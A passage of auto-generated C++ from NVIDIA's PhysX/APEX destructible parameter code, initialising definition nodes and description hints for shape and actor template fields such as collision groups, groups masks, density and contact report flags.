ParamDefTable[85].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=86, longName="shapeDescTemplate.collisionGroup"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[86];
ParamDef->init("collisionGroup", TYPE_U16, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets which collision group shapes are part of.\n Default group is 0. Maximum possible group is 31. Collision groups are sets of shapes which may or may not be set to collision detect with each other; this can be set using NxScene::setGroupCollisionFlag() Sleeping: Does NOT wake the associated actor up automatically. param[in] collisionGroup The collision group for shapes.\n This is applied to all NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets which collision group shapes are part of.", true);
ParamDefTable[86].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=87, longName="shapeDescTemplate.groupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[87];
ParamDef->init("groupsMask", TYPE_STRUCT, "GroupsMask", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the 128-bit mask used for collision filtering.\n This is applied to all NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the 128-bit mask used for collision filtering.", true);
ParamDefTable[87].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=88, longName="shapeDescTemplate.groupsMask.useGroupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[88];
ParamDef->init("useGroupsMask", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not the groupsMask should be used. If so, then this will be applied to all NxShapes\n created to represent this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Whether or not the groupsMask should be used", true);
ParamDefTable[88].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=89, longName="shapeDescTemplate.groupsMask.bits0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[89];
ParamDef->init("bits0", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits0 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits0 of the groups mask", true);
ParamDefTable[89].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=90, longName="shapeDescTemplate.groupsMask.bits1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[90];
ParamDef->init("bits1", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits1 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits1 of the groups mask", true);
ParamDefTable[90].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=91, longName="shapeDescTemplate.groupsMask.bits2"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[91];
ParamDef->init("bits2", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits2 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits2 of the groups mask", true);
ParamDefTable[91].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=92, longName="shapeDescTemplate.groupsMask.bits3"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[92];
ParamDef->init("bits3", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits3 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits3 of the groups mask", true);
ParamDefTable[92].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=93, longName="shapeDescTemplate.materialIndex"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[93];
ParamDef->init("materialIndex", TYPE_U16, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The material index of a shape.\n This is applied to all NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "The material index of a shape.", true);
ParamDefTable[93].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=94, longName="shapeDescTemplate.density"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[94];
ParamDef->init("density", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The density of this individual shape when computing mass inertial properties for a rigidbody (unless a valid mass >0.0 is provided). Note that this will only be used if the body has a zero inertia tensor, or if you call NxActor::updateMassFromShapes explicitly.\n This is applied to all NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "The density of an individual shape.", true);
ParamDefTable[94].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=95, longName="shapeDescTemplate.skinWidth"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[95];
ParamDef->init("skinWidth", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Specifies by how much shapes can interpenetrate; if -1 it uses the global default.\n This is applied to all NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Specifies by how much shapes can interpenetrate; if -1 it uses the global default", true);
ParamDefTable[95].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=96, longName="shapeDescTemplate.userData"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[96];
ParamDef->init("userData", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[96].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional user data pointer.\n This is applied to all NxShapes generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional user data pointer", true);
ParamDefTable[96].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=97, longName="shapeDescTemplate.name"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[97];
ParamDef->init("name", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[97].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional name string for a shape; must be set by the application and must be a persistent pointer.\n This is applied to all NxShapes generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional name string for a shape.", true);
ParamDefTable[97].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=98, longName="actorDescTemplate"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[98];
ParamDef->init("actorDescTemplate", TYPE_STRUCT, "ActorDescTemplate", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[98].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Contains the parameters the application can override on any actors created.", true);
HintTable[2].init("shortDescription", "Contains the parameters the application can override on any actors created", true);
ParamDefTable[98].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=99, longName="actorDescTemplate.flags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[99];
ParamDef->init("flags", TYPE_STRUCT, "ActorDescFlags", true);
}
// Initialize DefinitionImpl node: nodeIndex=100, longName="actorDescTemplate.flags.NX_AF_DISABLE_COLLISION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[100];
ParamDef->init("NX_AF_DISABLE_COLLISION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable/disable collision detection.\n This flag will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable/disable collision detection", true);
ParamDefTable[100].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=101, longName="actorDescTemplate.flags.NX_AF_DISABLE_RESPONSE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[101];
ParamDef->init("NX_AF_DISABLE_RESPONSE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable/disable collision response (reports contacts but dont use them).\n This flag will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable/disable collision response (reports contacts but dont use them)", true);
ParamDefTable[101].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=102, longName="actorDescTemplate.flags.NX_AF_LOCK_COM"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[102];
ParamDef->init("NX_AF_LOCK_COM", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disables COM update when computing inertial properties at creation time.\n This flag will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disables COM update when computing inertial properties at creation time.", true);
ParamDefTable[102].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=103, longName="actorDescTemplate.flags.NX_AF_FLUID_DISABLE_COLLISION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[103];
ParamDef->init("NX_AF_FLUID_DISABLE_COLLISION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disables COM update when computing inertial properties at creation time.\n This flag will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disables COM update when computing inertial properties at creation time.", true);
ParamDefTable[103].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=104, longName="actorDescTemplate.flags.NX_AF_CONTACT_MODIFICATION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[104];
ParamDef->init("NX_AF_CONTACT_MODIFICATION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Turn on contact modification callback for the actor.\n This flag will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Turn on contact modification callback for the actor.", true);
ParamDefTable[104].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=105, longName="actorDescTemplate.flags.NX_AF_FORCE_CONE_FRICTION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[105];
ParamDef->init("NX_AF_FORCE_CONE_FRICTION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Force cone friction to be used for this actor.\n This flag will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Force cone friction to be used for this actor.", true);
ParamDefTable[105].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=106, longName="actorDescTemplate.flags.NX_AF_USER_ACTOR_PAIR_FILTERING"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[106];
ParamDef->init("NX_AF_USER_ACTOR_PAIR_FILTERING", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable/disable custom contact filtering.\n This flag will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable/disable custom contact filtering.", true);
ParamDefTable[106].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=107, longName="actorDescTemplate.density"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[107];
ParamDef->init("density", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Density to be applied to the whole actor. If the body descriptor contains a zero mass but the actor descriptor contains a non-zero density, we compute a new mass automatically from the density and a shapes.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Density to be applied to the whole actor.", true);
ParamDefTable[107].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=108, longName="actorDescTemplate.actorCollisionGroup"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[108];
ParamDef->init("actorCollisionGroup", TYPE_U16, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets which NxActorGroup an actor is part of.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets which NxActorGroup an actor is part of", true);
ParamDefTable[108].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=109, longName="actorDescTemplate.dominanceGroup"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[109];
ParamDef->init("dominanceGroup", TYPE_U16, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Dominance group for an actor.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Dominance group for an actor.", true);
ParamDefTable[109].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=110, longName="actorDescTemplate.contactReportFlags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[110];
ParamDef->init("contactReportFlags", TYPE_STRUCT, "ContactPairFlag", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Combination of ContactPairFlag flags.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Combination of ContactPairFlag flags", true);
ParamDefTable[110].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=111, longName="actorDescTemplate.contactReportFlags.NX_IGNORE_PAIR"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[111];
ParamDef->init("NX_IGNORE_PAIR", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable contact generation for this pair. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Disable contact generation for this pair", true);
ParamDefTable[111].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=112, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_START_TOUCH"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[112];
ParamDef->init("NX_NOTIFY_ON_START_TOUCH", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Pair callback will be called when the pair starts to be in contact. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Pair callback will be called when the pair starts to be in contact", true);
ParamDefTable[112].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=113, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_END_TOUCH"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[113];
ParamDef->init("NX_NOTIFY_ON_END_TOUCH", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Pair callback will be called when the pair stops to be in contact. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Pair callback will be called when the pair stops to be in contact", true);
ParamDefTable[113].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=114, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_TOUCH"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[114];
ParamDef->init("NX_NOTIFY_ON_TOUCH", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Pair callback will keep getting called while the pair is in contact. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Pair callback will keep getting called while the pair is in contact", true);
ParamDefTable[114].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=115, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_IMPACT"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[115];
ParamDef->init("NX_NOTIFY_ON_IMPACT", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "[Not yet implemented] pair callback will be called when it may be appropriate for the pair to play an impact sound. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "[Not yet implemented] pair callback will be called when it may be appropriate for the pair to play an impact sound", true);
ParamDefTable[115].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=116, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_ROLL"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[116];
ParamDef->init("NX_NOTIFY_ON_ROLL", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "[Not yet implemented] pair callback will be called when the pair is in contact and rolling. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "[Not yet implemented] pair callback will be called when the pair is in contact and rolling.", true);
ParamDefTable[116].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=117, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_SLIDE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[117];
ParamDef->init("NX_NOTIFY_ON_SLIDE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "[Not yet implemented] pair callback will be called when the pair is in contact and sliding (and not rolling). See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "[Not yet implemented] pair callback will be called when the pair is in contact and sliding (and not rolling).", true);
ParamDefTable[117].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=118, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_FORCES"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[118];
ParamDef->init("NX_NOTIFY_FORCES", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The (summed total) friction force and normal force will be given in the NxContactPair variable in the contact report. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "The (summed total) friction force and normal force will be given in the NxContactPair variable in the contact report.", true);
ParamDefTable[118].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=119, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_START_TOUCH_FORCE_THRESHOLD"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[119];
ParamDef->init("NX_NOTIFY_ON_START_TOUCH_FORCE_THRESHOLD", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Pair callback will be called when the contact force between two actors falls below the actor-defined force thresholds. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Pair callback will be called when the contact force between two actors falls below the actor-defined force thresholds", true);
ParamDefTable[119].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=120, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_END_TOUCH_FORCE_THRESHOLD"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[120];
ParamDef->init("NX_NOTIFY_ON_END_TOUCH_FORCE_THRESHOLD", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Pair callback will be called when the contact force between two actors falls below the actor-defined force thresholds. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Pair callback will be called when the contact force between two actors falls below the actor-defined force thresholds", true);
ParamDefTable[120].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=121, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_TOUCH_FORCE_THRESHOLD"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[121];
ParamDef->init("NX_NOTIFY_ON_TOUCH_FORCE_THRESHOLD", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Pair callback will keep getting called while the contact force between two actors exceeds one of the actor-defined force thresholds. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Pair callback will keep getting called while the contact force between two actors exceeds one of the actor-defined force thresholds", true);
ParamDefTable[121].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=122, longName="actorDescTemplate.contactReportFlags.NX_NOTIFY_CONTACT_MODIFICATION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[122];
ParamDef->init("NX_NOTIFY_CONTACT_MODIFICATION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Generate a callback for all associated contact constraints, making it possible to edit the constraint. This flag is not included in NX_NOTIFY_ALL for performance reasons. see NxUserContactModify. See the PhysX documentation for more about contact reporting.", true);
HintTable[1].init("shortDescription", "Generate a callback for all associated contact constraints, making it possible to edit the constraint. This flag is not included in NX_NOTIFY_ALL for performance reasons. see NxUserContactModify.", true);
ParamDefTable[122].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
